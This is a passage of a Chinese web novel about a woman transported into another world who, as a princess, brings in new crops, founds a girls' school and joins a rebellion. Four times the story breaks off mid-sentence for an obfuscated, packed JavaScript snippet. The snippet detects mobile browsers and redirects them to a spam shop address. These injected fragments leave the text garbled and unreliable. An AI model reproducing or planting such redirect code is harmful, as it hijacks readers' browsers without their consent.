在瑾朝境内,他们走的都是官道,出境后却不敢再走,而是乔装打扮,据探子的消息,另外两支商队,一支是因为露富被盗匪盯上截杀,一支则是运气不好,因天气炎热潮湿,蚊虫太多,不幸感染疟疾而死。 而他们商队中的人,在出境后便兵分几路,定了位置,约好一个月后再次相见,看看彼此所得,若是不成便再过一月,直到得到足够的稻种。 他们来回在路上的时间便花了十个月,在境外待了两个月便匆匆回来。 一路都有人生病,也曾遭遇多次匪徒,这才只剩了最后九人。 他们在找寻慕衷情所说的稻谷时,利用商队带的瑾朝物品做了一段时间的交易,还请了当地通瑾朝语的人,带他们去田间地头看稻子,选稻种。 但当地皇室似乎正有动乱,他们不敢大肆购买稻种,还买了些其他东西,将真正的目的掩盖,这才安全离开。 听完他们的讲述,慕衷情担忧地问:“你们几人好不容易回来,可有让大夫瞧过?若是受了伤,或是得了病,可一定要及时医治。” 几人相互看了看,笑道:“多谢王妃关心,但我等无碍。” 慕衷情点点头:“你们送来的稻种我看过了,挑了些色泽鲜亮饱满的先让人去种,但光是这些稻种,要给所有农户去种,是不够的,而且这些稻种得来不易,我的想法是,找经验丰富的老农,给一块试验田去种,以此得到更多的稻种,熟悉这种稻子的习性,再推广开来,往后便可以进行两季水稻轮种,增加产量,也比在这里种小麦简单得多,但这未必能成功,若是,若是失败了,你们可还愿再次组织商队,去他国寻找稻种。” 九人闻言,有两三人面露退意,其余几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655854|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人倒是未有惧意,其中一个年轻些的男子道:“自然是愿意的,我本就是清州人,从前一家人住在江边,父母种了一辈子的田,却连自己的地都没有,又时常遭受涝灾影响,收成总是不好,上交之后家中剩下的便不多了,跟着商队走南闯北,等我终于挣到钱回家时,却已经人去屋空,问了邻居才知道,父亲被地主打死了,母亲卖身为奴,劳累而死。” 他看向慕衷情,露出一个有些悲戚的笑容:“此番回到舟安,我听闻了慕王妃诸多义举,这两日我便在想,若是您早来清州,我父母是不是就不会被欺凌至死,我相信慕王妃所做,都是为了清州的穷苦百姓,为了往后的收成,若我能为此献出些微薄之力,往后死了见到父母,也能道一句不枉此生。” 他孑然一身,了无牵挂,只想做出一番功绩,即使不能流芳百世,至少也对得起自己。 慕衷情将稻种交给了蔡书霖,让他去请了城中几个老农户,在他们的田地中开辟出一块专门种植这些稻种,每个月蔡书霖都会给一笔银钱,相当于是雇佣他们帮忙种植。 同时,慕衷情让司岳又安排了几个精通农事的小吏,让他们在稻种种下后每月都去田边逛几圈,看看稻种的长势,若发现不对劲,要及时禀报。 万事俱备,只欠东风,只要等到早稻的种植时间,就可以种下这些稻子。 慕衷情终于又放松下来,新写了几句让大家将水烧开再喝的宣传语,蒋羽那边也每日都有传来消息,目前为止仅有几人发现疫病之症,已及时隔离,自从喝热水的宣传被百姓所知之后,更是再没有人突然得疫病。 蒋羽没有居功,而是与那些来免费看诊的百姓说,这都是王妃之令,无论是安排医者看诊,还是教授大家喝热水,以此减少疫病的方法。 一传十十传百,舟安的百姓们都开始认为王妃神机妙算,有未卜先知的能力,愈加信服她。 听到司岳绘声绘色地描述自己听到的百姓传闻时,慕衷情却只是无意识地绞着帕子道:“司岳,你说我可以将我的名字宣扬出去吗?我不希望他们信服的是王妃,我希望他们信服的,是慕衷情。” 78. 七十八、 司岳顿时停下转述,愣了许久才道:“衷情,你是王妃,你的闺名岂是那些人可以知道的?这,这有损你的名节啊。” 慕衷情拧眉:“为何?那些普通女子的名字难道也不可宣之于口吗?” 司岳刚想说你们的身份不同,可她还未开口便想到慕衷情必然不喜欢这样的说法。 于是她走到慕衷情身边蹲下,握住她的手:“衷情,你想要的我自然可以去办,只是至少要与王爷商量此事,若是,若是王爷误会了你,便不好了。” “误会?是误会我不守妇道,还是误会我,想与他争名利?”慕衷情慢悠悠地说着,一字一句甚是清晰,就如同她此时此刻的思维。 从前,慕衷情总想着能做一件事便是一件,可是直至如今,人们最多也就称她一声慕王妃,她是清州的慕王妃,是清王秦澈的慕王妃,却独独成为不了慕衷情。 就连已经改变许多的司岳,都在听到慕衷情要说出自己的名字时,第一反应是要告诉秦澈,由秦澈来决定。 这是司岳认为的保护,却是慕衷情眼中这个世道对女子的枷锁。 司岳听到慕衷情的话,蓦地跪下,连称呼都变了:“王妃,此事万万不可自作主张啊!” 慕衷情的脸上没有任何表情,她盯着担忧紧张的司岳,长长地叹了口气:“我会告诉他的。” 现在的她,确实还没有什么能力能够越过秦澈去做事。 慕衷情说完,低头看了看被自己揉皱的帕子,心里隐隐有什么正要破土而出。 司岳这才放下心来。 然而慕衷情并没有告诉秦澈自己的这番想法,而是开始频繁前往折柳巷新建的女子学堂。 司岳找了许久,也只找到了两位读过书且愿意来教书的女夫子,慕衷情思索之后,决定成为第三位女夫子。 秋日,慕衷情见到了那两位女夫子,其中一位叫做楚昭贤,是她见过的楚昭良的妹妹,比起楚昭良的文雅气质,楚昭良一看便有着女中豪杰的飒爽,另一位叫做粟春暖,看着温婉可人,她家道中落,一直靠一手妙笔丹青挣些银钱补贴家中。 两人见到慕衷情,刚想行礼,便被慕衷情拉着手到学堂后院中坐下。 “楚夫子,粟夫子,三日后学堂便要开课,我给夫子们和孩子们都定制了统一的服饰,来读书的女孩们家境也各不相同,我不想她们会因为穿着而自卑或被瞧不起,所以我准备让她们每日上学时都要穿着定制的校服,至于我们,也应以身作则,不知你们能不能理解?”慕衷情开口问道。 楚昭贤立刻笑道:“王妃所虑,实在周全,昭贤没有什么不同意的。” 粟春暖望着慕衷情的目光有些激动,也缓缓道:“春暖也并无意见。” “好,我购买的那些书籍你们都可都看过了?若有补充,这几日还来得及采买。”慕衷情询问她们的意见。 楚昭贤想了想,直言道:“我倒是觉得少了些骑射练武的书,纵然是女子学堂,也可以学尽六艺。” “我是这样想的,要学骑射,此处场地不够,但可以先练些强身健体的功夫,我可以教。”慕衷情笑着赞同道,“我现在给你们打一套也可以,楚夫子有功夫在身上,也可以看一看行不行。” 楚昭贤兴奋道:“好呀,早就听说慕王妃神机妙算,身手了得,早就想见识见识了。” 慕衷情都不知道外头到底把她传成了什么样,闻言道:“没有那么夸张,只是一套强身健体的八段锦而已,还有,你们两个就别唤我王妃了,在此处我们都是夫子,若是不嫌弃,以姐妹相称也可。” 两人面面相觑,没敢立刻答应下来。 慕衷情当着楚昭贤和粟春暖的面打了一遍八段锦,楚昭贤像是看到什么新鲜好玩的东西一样连连夸赞:“看似简单,实则筋骨尽练,慕姐姐,我也想学你说这个什么八段锦可以吗?到时我学会了,也可以替你教几天女娃娃们,省得你太过劳累。” 说着,楚昭贤又拉上粟春暖:“春暖妹妹也一起吧!身体强壮了,往后就是遇到些渣滓,至少也能跑得快些。” 粟春暖掩唇一笑:“我听两位姐姐的便是。” 粟春暖还未满十六,是她们中年纪最小的一个。 慕衷情闻言,也立刻改了称呼:“先打好基础,往后再由昭贤妹妹教些刀枪棍棒的招式,也能让她们有实力护着自己。” 粟春暖满眼崇拜地望着慕衷情,也提出了自己的想法:“除了读书识字,我也想教她们丹青,说不得便有人天赋异禀,能比我挣更多的钱,也是个谋生手段,如今女子不可科考,可不能只会读书。” 慕衷情给她竖了个大拇指:“春暖说得对,我们除了教她们读书识字,也该教她们一技之长,只是不知你们是否介意,让折柳巷的这些姑娘来教她们,绣工,染布,纺织,制衣,乐器,她们都有人会。” 粟春暖微微蹙眉:“春暖自然不介意的,折柳巷我也不是第一次来,还在那些姑娘的店中买过胭脂,自然知道她们都是很好的人,只是担心,慕姐姐办这女子学堂本就受人非议,旁人知晓她们来学堂之后,会更加针对慕姐姐。” 楚昭贤愤愤地说:“确实,大部分百姓已将慕姐姐视作神人,但总有一些不好的传言出来试图败坏慕姐姐的名声,此事若成,那些腌臜玩意肯定又要大做文章。” 慕衷情不甚在意地说:“他们的那点小动作我还不看在眼里,既然你们都不反对,那我就找她们说这事了,想来她们也是愿意帮忙的。” 粟春暖伸出手像是想要去握慕衷情的手,却很快收回:“慕姐姐这般人物,无论是谁,都会甘愿鞍前马后的。” 慕衷情拍拍粟春暖的脑袋:“那也是你们都好,才愿意帮我。” 与两人又商议了一会儿之后的授课方式,安排每日的课程时间以及往后五日的排课后,慕衷情一个人走在已经完全不同的折柳巷中,也是与从前每一次来时,都不同的心境。 她在一家成衣铺前停下脚步,望着里头忙得不可开交的竹露,抬腿走了进去。 竹露正在给一个女子介绍店里的衣服,一见到慕衷情进店,立刻兴奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665845|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地招手想喊人。 慕衷情率先给她使眼色道:“店主,最近可有新衣?” 竹露眼珠一转,叫了另一个姑娘来招呼其他客人,自己上前挽住慕衷情的手臂道:“自然是有的,我给姐姐挑几件,姐姐来里头换一身看看。” 说着,竹露拿了两件衣裙,拉着慕衷情进到里屋。 她没带慕衷情去换衣服的屋子,而是径直带她来到后院。 竹露将那两件衣服叠好,用布包包起来道:“慕姐姐今日来寻我,可是又有什么大事用得上我的?” 竹露一脸跃跃欲试地望着慕衷情,她年纪小,从来都是最活泼最机灵的那个。 慕衷情将自己关于学堂的设想告诉了竹露,邀请她一起去教书。 竹露听完后,又想笑又想压制,捏着衣摆努力作出一副云淡风轻的模样:“慕姐姐开口,我自当不会拒绝,我也可以帮慕姐姐去劝说其他姐姐一起,安排个日程,不过我们不教书,只教手艺,应当被称为什么才好?” “自然也是夫子。”慕衷情这副身体的年纪比竹露没大多少,笑得却是和蔼可亲的样子,“我们的竹露对服饰纹样如此有创意见解,当然也要尊称一声夫子。” 竹露扬起下巴:“行吧,那我就勉为其难地答应慕姐姐了。” 慕衷情又与她说了一会儿话,方才离开,之后她又去找了清荷,也请她一起,清荷答应得爽快,推荐了几个姑娘,慕衷情便将此事交予她和竹露去办。 而后根据竹露呈上来的名单,重新排了课。 三日后,一个个穿着各异的小女孩们来到了学堂门口,粟春暖就等在门口,给每一个进去的女孩都发了两套新校服,并嘱咐每个人明日都需穿着校服来上课。 第一次办女子学堂,其实肯送家中女孩来读书的并不多,凑来凑去,也只凑出了十六个。 女孩们乖乖坐到教室里后,楚昭贤又给每个人说了慕衷情所列的上课的规矩,每日需按时到,不可迟到,若要请假可提前说明,或有急事托人带话,上课不可交头接耳,有问题可以举手提问,同学之间应友好互助,不可欺凌同学,每上五日课休息两日,除了必修课外,还可额外选一门或多门选修课,每五日最后一堂课就是选修课。 许是读书不易,家中长辈都交代过,楚昭贤说话时每个女孩都听得认真。 第一堂课是楚昭贤来上,她将纸张一一发给她们,望着许多女孩如同看到什么宝贝般眼中闪着好奇与惊叹的光芒,将纸张来回翻看,她不禁想起了慕衷情说的话。 “这第一堂课,我希望昭贤妹妹教的不是什么书上的道理,而是教她们,她们是谁,抛开女儿,妻子,母亲,她们叫什么名字,是什么人,往后想做什么。” 楚昭贤早就拿到了这些入学女孩的名单,但她仍然让每一个人都站起来,报出自己的名字,然后在她们的纸上,用端正好辨识的楷体,写下她们的名字。 入学第一天,她们只需要认识自己的名字,去一遍一遍地临摹,直到会写,直到永远都不会忘记,自己究竟是谁。 79. 七十九、 冬去春来,女子学堂的学生在新一年中又增加了十几个,人手不足,慕衷情只好新请了两个品德不错的男夫子,来教新的女学生。 但她仍是不放心,连续几天都在听课,之后又假装离开,实则让人偷听课程内容回来汇报给她,确认两人只讲课程内容,不说其他,也没有对任何女孩有接触的动作外,才安下心来。 慕衷情拿出了自己的一部分嫁妆,去补贴学堂各项的支出,包括夫子们例银的发放。 也幸好慕府有钱,为了面子,给了她上百抬嫁妆,现在用起来也不心疼。 慕衷情打算等到往后办女子学堂有了经验,舟安局势稳定之后,再用当地的库银来办学堂,一步步实现教育国有化。 冬去春来,又是新的一年,早春三月,那些带回来的稻种终于被种到舟安的土地里,播种那日,慕衷情对着天祈祷今年能有一场大丰收,在强烈的渴望面前,还是可以偶尔祈祷一下好运的。 在六月的一个晴天,慕衷情又一次拿着镰刀,带着人来收割稻子。 与之前不同的是,她这次想收的,是那些被商队带回来的稻种。 六月的清州要么风雨交加,要么热得没有一丝风,金灿灿的稻穗微微垂着,面朝黄土背朝天的农户们脖子上挂着汗巾,没动几下就要擦一擦滴下来的汗水。 慕衷情用襻膊固定好袖子,来到这几个月已经走过无数遍的地里,她亲手割下一把把稻子,心中安定下来。 去年的涝灾和雪灾让收成大减,其实这一年,舟安的百姓过得并不算多好,只是他们都知道这样的天灾无法避免,怨不了别人,再加上慕衷情救灾及时,又身先士卒,还着力稳定粮价,这才没让舟安陷入动乱之中。 就连秦澈都忍不住庆幸,还好当初慕衷情抄家抄得干净,有那么多地主豪绅搜刮的钱银,才不至于面对那么多天灾时,连赈灾的钱都拨不出来。 这可能也算是取之于民,用之于民的一种方式了。 慕衷情将收来的稻子都交给了舟安最精通农事的小吏和农户手中,让他们筛种、育种,然后马不停蹄地进入新一轮的插秧。 去年那一场雪灾下来,试种的小麦几乎没有多少长出来的,若是这稻种能一年两熟,并且不会因为两季的气温差异引起收成太大的起伏,那往后清州的粮食产量翻倍,就不再是痴人说梦,她对秦澈许下的承诺,也真的有了实现的希望。 第二季稻种种下之后,商队也再一次出发。 但这一次,他们不再是夤夜偷偷出发,而是秦澈与慕衷情亲自去送,又多请了几个人一路护送。 城门口的道路两旁,站满了身上有着经年累月洗不干净的泥土印子的农户,那些带回来的稻种毕竟太少,不是所有人都能种下两季稻谷,收成两次的。 他们听说了稻种是商队带回来的,并且还将冒着生命危险去南境之外寻找稻种,都满怀期盼地等候在城门口,手里捧着家中新鲜收获的菜和各种干粮,想要送给他们。 谁也不会想到,做了这么久士农工商里中排名最末的商人,有一日,他们竟也能获得如同英雄般的待遇。 很快,商队的车上便堆满了各种蔬菜和干粮,怕是能吃上许多日。 慕衷情站到一块大石头上,她两只手抵在唇边作喇叭状:“民以食为天,待你们带回更多的稻种,便是拯救了整个南境的百姓!往后,南境也不会再被称为偏远蛮荒之地,中原大地该有的年年丰收,我们也要有!” “我们也要有!我们也要有!”商队的人也被慕衷情的话激得沸腾了一身热血,大声呼应。 他们走后,在慕衷情的组织下,官吏、粮农会与普通农户三方形成了短暂的联盟,开始研究第一批种出来的稻种,想办法获得更好的收成,收到更多的稻种以分发给农户们种植。 “慕先生好。”每次慕衷情去田地中巡察帮忙时,都会有人笑吟吟地这样喊她。 她在女子学堂教书的事情也早已传遍整个舟安,大抵是有她坐镇,那些女孩也又聪明又努力,越来越多的人家开始想送自家女儿来上她的女子学堂。 慕衷情自然没有拒绝,于是她更换了学堂门口的牌匾,重新取了学堂的名字——巾帼学堂。 这一年,政通人和,风调雨顺,丰收时,悠扬的歌声响彻田野,细细听来,正是从前慕衷情教过军中士兵的那一首《英雄赞歌》。 这样的歌,似乎并无法用来表达丰收的喜悦,但每一次休憩时,他们都会自发地唱起这首歌,去感谢这两年每一个帮助过他们的人。 秋冬之际,沿海又遭到了倭寇袭扰,这一次,慕衷情没有随军出发,而是教了他们又一首歌《祖国不会忘记》。 她还将未讲完的故事,写成了册子交给秦澈,让他继续讲给他的士兵们听。 而慕衷情留在舟安,给巾帼学堂的女孩们讲述更多的故事,有时候,附近的小男孩还会跑到窗户底下偷听,一听就是许久。 * 又一年暮春,舟安城迎来了两支商队,之前前往南境的那一支商队,因为走过一次,熟悉了不少,竟是不到一年就满载而归,还有一支商队,则是秦澈在两年多前派出的那支海上商队。 源源不断的新奇商品被大摇大摆地运入舟安时,沿街百姓都忍不住看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672693|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久,有人还上前询问都是些什么。 运送商品的人都笑呵呵地解释,这都是从海外那些异族手中购买来的,琥珀、水晶、象牙、犀角、琉璃,还有各种造型迥异的金银器,大伙儿都啧啧称奇。 没有人发现,另一支五人小队,则带着一车看似只有普通蔬菜瓜果的货物,进了王府后门。 慕衷情早已等在后门,亲自迎接,将东西放到院中卸下,下人们一起搬出放在上面的蔬菜瓜果,露出底下的东西。 “这是土豆!还有玉米!”慕衷情一眼就认出了熟悉的作物,在这个世界,这些作物还没有传入,若非经历这两年多的颠簸,也不知海上商路何时能被打开。 商队其中一人惊诧道:“王妃竟然认得此物?” 慕衷情抱着几个土豆,激动得差点哭出来:“这是土豆,也叫马铃薯,呜呜呜呜我八辈子没吃土豆炖牛肉,土豆焖排骨了!” 所有人面面相觑,还是秦澈十分理智地蹲下道:“轻云,这些吃了,可就不能种了。” 一句话,让慕衷情的心碎了。 她依依不舍地摸着这些土豆道:“海上航行路途遥远,这土豆不像是放了许久的,你们是不是已经试种过了?” 商队又一人道:“是啊王妃,我们在船上有一块小菜园子,平时种些菜,拿到这什么土豆之后,发现它竟然长了芽,我们也不敢乱吃,干脆种起来试试,就是这个玉米,当地人说船上不好种,我们就好好保存着种子。” 慕衷情连忙道:“好好好,太好了,你们简直就是清州的大恩人啊!秦澈,还有你们都赶紧记下来,我跟你说,现在四月,正好可以种玉米,清州比较潮湿,土豆还是在二月和九月再种比较好,不过现在他们有种土豆的经验,也可以拿去一部分种植试试看,这两个东西,好吃,好种,若是能大范围推广出去,往后清州的粮食,真的就不用发愁了!” 她说完,赵家家主、李家家主和宁家家主立刻俯首作揖:“若是王妃信得过,此事便交由我们来办吧。” “当然信得过。”慕衷情毫不犹豫道,“但你们也要尊重商队众人,多听些他们的意见,还有,希望王爷多给些赏赐。” 秦澈大手一挥:“没问题,正好前几日陆霜雪报出一份名单,我再抄几个细作的家,也有些油水能榨出来。” 院子中的众人纷纷大笑。 赵家家主开粮铺,对农事本也十分有兴趣,立刻拉着几人商讨起来。 慕衷情怀里还抱着几个土豆和玉米,看向秦澈的目光却是幽深起来,她像是提醒,又像是命令,语气平静而漠然:“王爷,可以开始了。” 80. 八十、 “小姐!小姐!” 脆生生的女声从院外传来,正在檐下看书的慕衷情一个激灵,立刻起身往外望去。 穿着一袭鹅黄纱裙的少女撑着伞小跑进了院子,裙摆被地上的水溅湿,沾上些泥土。 “彩珠?!”慕衷情惊喜地朝她招手。 彩珠收了伞,就跪在了慕衷情面前,激动地磕头:“小姐,彩珠可算再见着你了!” 慕衷情立刻把人拉起来,擦了擦她脸上的泪:“哎哟,哭什么呀,能平平安安地回来,就是好事,来来来,进屋喝口茶,我们说些体己话。” 慕衷情说着,对跟在彩珠后头进院子的秦澈眨眨眼,秦澈笑着点点头,没有再跟着进屋。 将彩珠带回来,本也是他为了讨慕衷情的欢心。 这两年,慕衷情对待他依然如往常一样,信任,亲近,坦诚,却始终未曾再进一步。 她似乎可以对身边的所有人都这样信任,亲近,坦诚,秦澈觉得自己似乎永远无法成为她心中最特殊的那一个。 不得不说,这对于从小天资聪颖远胜他人的秦澈来说,有些挫败。 他已经很努力地学着慕衷情带来的那些思想,平等待人,仁心爱民。 可是还不够,秦澈一看到慕衷情,就知道自己仍然做得还不够。 在雨中站了许久,他摇摇头,笑着离开了。 他想,确实是他还不够好,还不够有资格站在慕衷情的身边,他得继续努力,跟上她的步伐才是。 这样,他总能成为这个世界里,最有资格配她的人。 房中,彩珠絮絮叨叨地说着这些日子的经历。 他们从京都到清州,足足走了三个多月,一路上提心吊胆的,生怕被发现被追杀。 自从接到秦澈传去的书信之后,王府管家便开始慢慢地遣散一些与朝堂党政没有干系的奴仆,但他的这些动作并没有引起其他人的怀疑,毕竟王府虽已经在其他京都权贵中算得上节俭的,府中却依然有几百口人。 之后,管家命人在晚饭中下了大剂量的迷药,趁着众人熟睡之际,带着最为忠心的守卫和下人们一起悄悄离开了王府,只等天亮就乔装跑出京都,奔赴清州。 等到那些各方势力安插进王府的人醒来,他们早已不知所踪。 就这样,彩珠跟着管家和其他忠心于秦澈的手下,来到了舟安。 彩珠说,一路上他们听说了许多慕衷情的事迹,分地,救灾,开设女户,成立巾帼学堂……桩桩件件均是从前闻所未闻。 她哭着哭着,慢慢止住了泪,盯着一双红通通的眼小心翼翼地问:“小姐,这些手段,你是什么时候学来的呢?” 慕衷情的笑容渐渐淡了下去。 彩珠忽然再次朝她跪下:“小姐,彩珠知道您是大善人,也愿意始终服侍您左右,彩珠,彩珠只想知道,原本的小姐,她怎么样了?” 慕衷情叹息着把人扶起来:“你跟着她多年,发现也是迟早的事,原本的慕衷情,在她投河之后,便已经死了,我本与她同名同姓,不知为何灵魂从异世来到了她身上,原本不说,是怕你们将我当做妖怪。” 彩珠又一次痛哭出声,眼中有悲恸有愤怒有恨意,但她仍从怀中拿出了一包稻谷。 “小姐,彩珠不才,没能种出多少东西,走之前,我将这些稻子带了出来,也算是不辜负小姐的委托了。” 慕衷情接过那一包稻谷,这次她没有立刻让彩珠起来,而是问道:“你想要什么?尽管说出来,你放心,我不会为难你。” 彩珠低着头,一字一句坚定道:“彩珠也想读书识字,此番偷偷出京,大家都明白是因为什么,彩珠想要学点本事,为小姐报仇!” “好。”慕衷情毫不犹豫地答应,“只是这条路艰难辛苦,你可不能半途而废。” 彩珠磕头保证:“王妃放心,彩珠不会让您失望的!” 慕衷情略一思索,便将彩珠安排到了巾帼学堂,既能学习,又能帮她盯着些学堂的动静,以免有她未曾发觉之事。 虽又被人发现了身份,但看到彩珠想要奋发的模样,慕衷情仍然发自内心地开心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687276|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >每一种具体的向上,每一种具体的幸福,都是她所追求的。 晚上,待烛火熄后,正要睡下的秦澈听到慕衷情温柔的声音。 “秦澈,谢谢你把彩珠也带了回来。” 秦澈无奈地笑了一声:“我与从前,并不一样了。” 慕衷情坐在床上,借着月光看不远处的秦澈,但门窗都关着,她其实看不真切。 “我知道,现在的你,比以前更好了。” 以前夸赞秦澈的好,是站在他的身份他所处的社会阶级制度上所产生的评价,但现在的慕衷情,也在尝试着用她自己的视角和立场,去评判秦澈。 她看得到秦澈的改变,也知道秦澈是为何而改变。 不久之后,慕衷情开始协助秦澈,将在舟安已经日趋成熟的分地政策、新修条例向全清州推广。 一开始,只是在舟安周边的城镇试行,但消息飞快地传了出去,清州各地百姓翘首以盼,各地地主豪绅却是慌张不已,许多清州边境的地主豪绅都连夜收拾家当跑路,去到别的州生活。 在他们看来,哪怕人生地不熟的,也总比被抄家来得好。 也有些称得上首善之家的大家族没有离开,毕竟粮农会里的那几家不是也没被抄家没收财产吗? 因为有了舟安的经验,无论是慕衷情,还是清州军,对分地打土豪的这一套流程都十分熟悉,现在的清州军不仅能够自己制作和写简单的大字横幅,面对百姓时,更是天天把三大纪律八项注意放在嘴边。 或许他们依然不明白,什么是人民的军队。 但他们能够理解,如果天下所有的军队都是这样的,那么他们的家人得到善待的可能性就会更大,在遇到困境时得到帮助的可能性也更大。 慕衷情不强行灌输那些对他们来说还太超前的思想,只是在潜移默化中,让他们变成自己想要的模样。 完成舟安附近城镇的改革之后,秦澈镇守,慕衷情则独自带着兵继续奔赴清州各地。 这分地的事情,少了秦澈可以,少了慕衷情还真不可以。 81. 八十一、 清州的分地行动正进行得如火如荼,所到之处百姓们不仅热情高涨,积极配合,还有大胆的直接举报当地官员贪赃枉法。 慕衷情不仅没有为了方便管束而置之不理,反而对所有的举报指控都公开审理,公布所有调查到的证据,无论对方是什么身份,都秉公处理。 一时间,慕衷情在清州名声大噪。 有人恨她,有人敬她,有人怕她,有人盼她。 舟安,则是收到了一道圣旨。 可秦澈只扫了几眼,便当着所有人的面撕碎了圣旨。 前来传旨的使者又惊又怒,被秦澈一剑斩杀。 秦澈没有对消息做任何拦截,待慕衷情回到舟安之时,姜喧已在京中下令,称秦澈抗旨不遵,判其抄家灭族,褫夺封号与兵权。 可笑的是,并无人敢来执行这抄家灭族的任务。 听说姜喧又在宫中发了好大一通火,处死了许多宫女太监。 一夜,有十几个宫女偷偷溜进他的寝宫,试图弑君。 只可惜她们年岁尚小,弑君不成反被杀害。 消息一出,姜喧在民间的残暴名声更胜从前。 九月,秦澈率兵起义,称“天子无道,当诛以应民心”。 大军先往桑州,桑王并不像丰王那般暴虐无度,而是喜好诗酒,是个风流闲散之王,桑州养蚕纺织生意本就发达,他只需无为而治,每年便有不少赋税收上来。 也因此,他并无野心,一听是清州军,毫无抵抗,直接向秦澈称臣,只求给他留点家产和爵位,好让他继续闲散风流下去。 这样的要求自然可以答应,桑州亦有军队,达成协议后桑王不动一兵一卒全部交给了秦澈。 而秦澈,则将兵符交给了慕衷情。 慕衷情毫不客气地收下,然后每天带着一半清州军,一半桑州军,开始在桑州推行自己的主张,关闭青楼、分地、开女户、设女子学堂,就由已经轻车熟路的清州军一对一带着桑州军去办,力求在最短的时间内,让更多的桑州军理解他们为何这样做,又该如何做。 桑州纺织业发达,能够种植粮食的平整土地比清州还少,所以慕衷情也因地制宜做了些律法上的调整,提高商人地位的同时鼓励商人回馈社会,将原本的商会改成春蚕会,用以保障养蚕户、纺织户的利益。 随后,她鼓励桑州与清州通商,互通有无。 他们在桑州停留了三个月,慕衷情就脚不沾地地忙了三个月,秦澈则是以清州军的标准训练了桑州军三个月。 年底,清州与桑州沉浸在即将新年的喜庆氛围中,慕衷情特地用那些桑州抄家所得的钱财摆了长达百米的流水席,请城中百姓吃喝。 年关一过,她便与秦澈一同出击丰州。 清州又是一个丰收之年,有充足的粮草在,每个人都踌躇满志,士气高昂。 丰州多平原,良田百亩千亩连绵不绝,若非之前的丰王昏庸无道,守着这片丰饶的土地,根本不用愁什么。 不过这对于现在的清州军来说,倒是个好消息。 一路长驱直入,虽也会遇到抵抗,但丰州军毫无斗志,几乎一触即溃。 明明十分顺利,可慕衷情却日益担忧起来。 这样的丰州军,改造起来可要麻烦多了。 不过很快,慕衷情便见到了故人。 宋远疾带着一群身着麻衣的年轻人来到营地之外,求见王爷王妃。 慕衷情很开心地出去迎接,却见宋远疾身后是一辆辆板车,排成长队,上面载满了袋子。 宋远疾见到慕衷情与秦澈,端正地行礼,而后让开两步,含笑道:“此前王妃与王爷救奉德县百姓于水火,此次听闻二位亲率清州军而来,乡亲们便自发送上粟米粮食,不多,但都是心意。” 秦澈上前,郑重回礼。 慕衷情立刻让人放行,将粮草妥善放置,还特地请宋远疾以及所有运送粮草的百姓留下,和他们以及士兵们一起吃一顿,留宿一晚,等天亮了再回去。 宋远疾带来的不止粮草,还有关于丰州的许多消息。 原本的丰王死后,丰州百姓人人拍手称快,之后是谁承袭王位,百姓们也无人在意,只求过好眼下的生活。 自从奉德县发生的事情传开之后,丰州各地被欺压者,亦有落草为寇或斩杀贪官者,只是他们没有遇到慕衷情,反而以剿匪平叛的名义,被悉数斩杀。 宋远疾说到这里,潸然泪下。 但他很快便擦掉眼泪,双眸一眨不眨地盯着慕衷情:“宋某请王妃,早日攻下京州,给天下百姓,一条生路!” 秦澈抬眼望向慕衷情,此时的慕衷情并没有注意到秦澈的目光,篝火映在她的脸上,显得她的神情有些伤怀。 “一切都会好起来的。”她只是答了这样一句。 丰州军的分地事宜,慕衷情交给了宋远疾和白飞鹰,他们也有经验,又了解丰州,上手很快。 姜喧早已下了诏书要求各地起兵勤王,可惜,九州各地封王,要么有自知之明,了解自己的实力是决计打不过秦澈与清州军的,要么就是早对姜喧不满,巴不得他死。 因此,秦澈与慕衷情最后商定的路线,就是先定桑州、丰州这两个富饶之地,而后直取京州,待万事定论之后,再平其他五州。 尤其是西北雁州,西北军的实力不弱,并不是好对付的,此时不过是坐山观虎斗,之后少不得也要来咬上一口。 所以他们此时并不着急攻进京都,反而花了大力气在改制上,就是为了之后攻打其他五州时后方足够稳定。 慕衷情在民间的声望如日中天,楚昭良不止一次地劝说秦澈,不可让百姓眼中心中只有王妃,没有王爷。 